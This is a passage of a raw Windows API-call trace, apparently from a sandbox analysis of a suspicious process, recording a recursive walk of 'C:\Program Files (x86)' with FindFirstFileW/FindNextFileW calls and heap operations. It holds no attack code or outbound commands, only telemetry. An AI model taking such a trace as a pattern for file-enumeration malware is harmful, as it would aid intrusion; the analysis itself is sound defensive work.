lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc17f062, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7340c2, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 0 [0267.841] FindClose (in: hFindFile=0x33e4d28 | out: hFindFile=0x33e4d28) returned 1 [0267.841] GetProcessHeap () returned 0xc10000 [0267.841] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0267.841] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0dc4f7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef4e2594, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef4e2594, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Mozilla Maintenance Service", cAlternateFileName="MOZILL~1")) returned 1 [0267.841] GetProcessHeap () returned 0xc10000 [0267.841] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0267.841] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Mozilla Maintenance Service\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0dc4f7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef4e2594, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef4e2594, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0267.846] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0dc4f7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef4e2594, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef4e2594, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.846] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef3b1257, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef3d74a4, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef3d74a4, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 1 [0267.846] GetProcessHeap () returned 0xc10000 [0267.846] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0267.846] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef3b1257, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef3d74a4, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef3d74a4, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0267.848] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef3b1257, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef3d74a4, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef3d74a4, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.848] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef3b1257, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef3b1257, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef3d74a4, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xa4, dwReserved0=0x0, dwReserved1=0x0, cFileName="maintenanceservice-install.log", cAlternateFileName="MAINTE~1.LOG")) returned 1 [0267.848] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef3b1257, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef3b1257, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef3d74a4, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xa4, dwReserved0=0x0, dwReserved1=0x0, cFileName="maintenanceservice-install.log", cAlternateFileName="MAINTE~1.LOG")) returned 0 [0267.848] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0267.848] GetProcessHeap () returned 0xc10000 [0267.848] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0267.848] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef1289ad, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef1289ad, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7da49100, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x2f5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="maintenanceservice.exe", cAlternateFileName="MAINTE~1.EXE")) returned 1 [0267.848] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4bc309, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef4bc309, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef4e2594, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x15e62, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall.exe", cAlternateFileName="UNINST~1.EXE")) returned 1 [0267.848] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef14ec0d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef14ec0d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x5cdc3b80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x4dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.ini", cAlternateFileName="")) returned 1 [0267.848] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef14ec0d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef14ec0d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x5cdc3b80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x4dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.ini", cAlternateFileName="")) returned 0 [0267.848] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0267.849] GetProcessHeap () returned 0xc10000 [0267.849] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0267.849] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79effb3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe8d82602, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8d82602, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0267.849] GetProcessHeap () returned 0xc10000 [0267.849] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0267.849] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\MSBuild\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79effb3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe8d82602, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8d82602, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0267.849] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79effb3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe8d82602, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8d82602, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.849] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9349b260, ftCreationTime.dwHighDateTime=0x1d56466, ftLastAccessTime.dwLowDateTime=0x8ff756d0, ftLastAccessTime.dwHighDateTime=0x1d5ba4c, ftLastWriteTime.dwLowDateTime=0x8ff756d0, ftLastWriteTime.dwHighDateTime=0x1d5ba4c, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="active-charge.exe", cAlternateFileName="ACTIVE~1.EXE")) returned 1 [0267.849] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79effb3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79effb3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79effb3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0267.849] GetProcessHeap () returned 0xc10000 [0267.849] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0267.850] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\MSBuild\\Microsoft\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79effb3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79effb3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79effb3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0267.850] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79effb3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79effb3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79effb3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.850] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79effb3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a165b3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a165b3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 1 [0267.850] GetProcessHeap () returned 0xc10000 [0267.850] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0267.851] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79effb3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a165b3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a165b3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d28 [0268.086] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79effb3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a165b3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a165b3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.086] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79effb3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a165b3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a165b3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0268.086] GetProcessHeap () returned 0xc10000 [0268.086] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0268.087] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79effb3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a165b3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a165b3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0268.087] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79effb3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a165b3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a165b3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.087] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe79effb3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe4edf80e, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe4edf80e, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="WORKFL~1.TAR")) returned 1 [0268.088] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe79effb3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe4edf80e, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe4edf80e, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="WORKFL~2.TAR")) returned 1 [0268.088] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe79effb3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe4edf80e, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe4edf80e, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="WORKFL~2.TAR")) returned 0 [0268.088] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0268.088] GetProcessHeap () returned 0xc10000 [0268.088] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0268.088] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a165b3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a165b3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a165b3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0268.088] GetProcessHeap () returned 0xc10000 [0268.088] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0268.088] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a165b3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a165b3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a165b3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0268.089] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a165b3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a165b3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a165b3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.089] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5733fb2f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5733fb2f, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd469ff00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x1c01, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="")) returned 1 [0268.090] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5733fb2f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5733fb2f, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd469ff00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 1 [0268.090] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5733fb2f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5733fb2f, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd469ff00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 0 [0268.090] FindClose (in: hFindFile=0x33e4e68 | out: hFindFile=0x33e4e68) returned 1 [0268.090] GetProcessHeap () returned 0xc10000 [0268.090] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0268.090] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a165b3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a165b3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a165b3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0268.090] FindClose (in: hFindFile=0x33e4d28 | out: hFindFile=0x33e4d28) returned 1 [0268.090] GetProcessHeap () returned 0xc10000 [0268.090] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0268.090] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79effb3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a165b3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a165b3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 0 [0268.090] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0268.090] GetProcessHeap () returned 0xc10000 [0268.090] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0268.092] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6566ba10, ftCreationTime.dwHighDateTime=0x1d56622, ftLastAccessTime.dwLowDateTime=0xae9011b0, ftLastAccessTime.dwHighDateTime=0x1d5b694, ftLastWriteTime.dwLowDateTime=0xae9011b0, ftLastWriteTime.dwHighDateTime=0x1d5b694, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="smartftp.exe", cAlternateFileName="")) returned 1 [0268.092] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6566ba10, ftCreationTime.dwHighDateTime=0x1d56622, ftLastAccessTime.dwLowDateTime=0xae9011b0, ftLastAccessTime.dwHighDateTime=0x1d5b694, ftLastWriteTime.dwLowDateTime=0xae9011b0, ftLastWriteTime.dwHighDateTime=0x1d5b694, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="smartftp.exe", cAlternateFileName="")) returned 0 [0268.092] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0268.092] GetProcessHeap () returned 0xc10000 [0268.092] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0268.092] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a165b3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe773d443, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe773d443, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0268.092] GetProcessHeap () returned 0xc10000 [0268.092] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0268.093] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies\\*", lpFindFileData=0x2e5f450 | out: 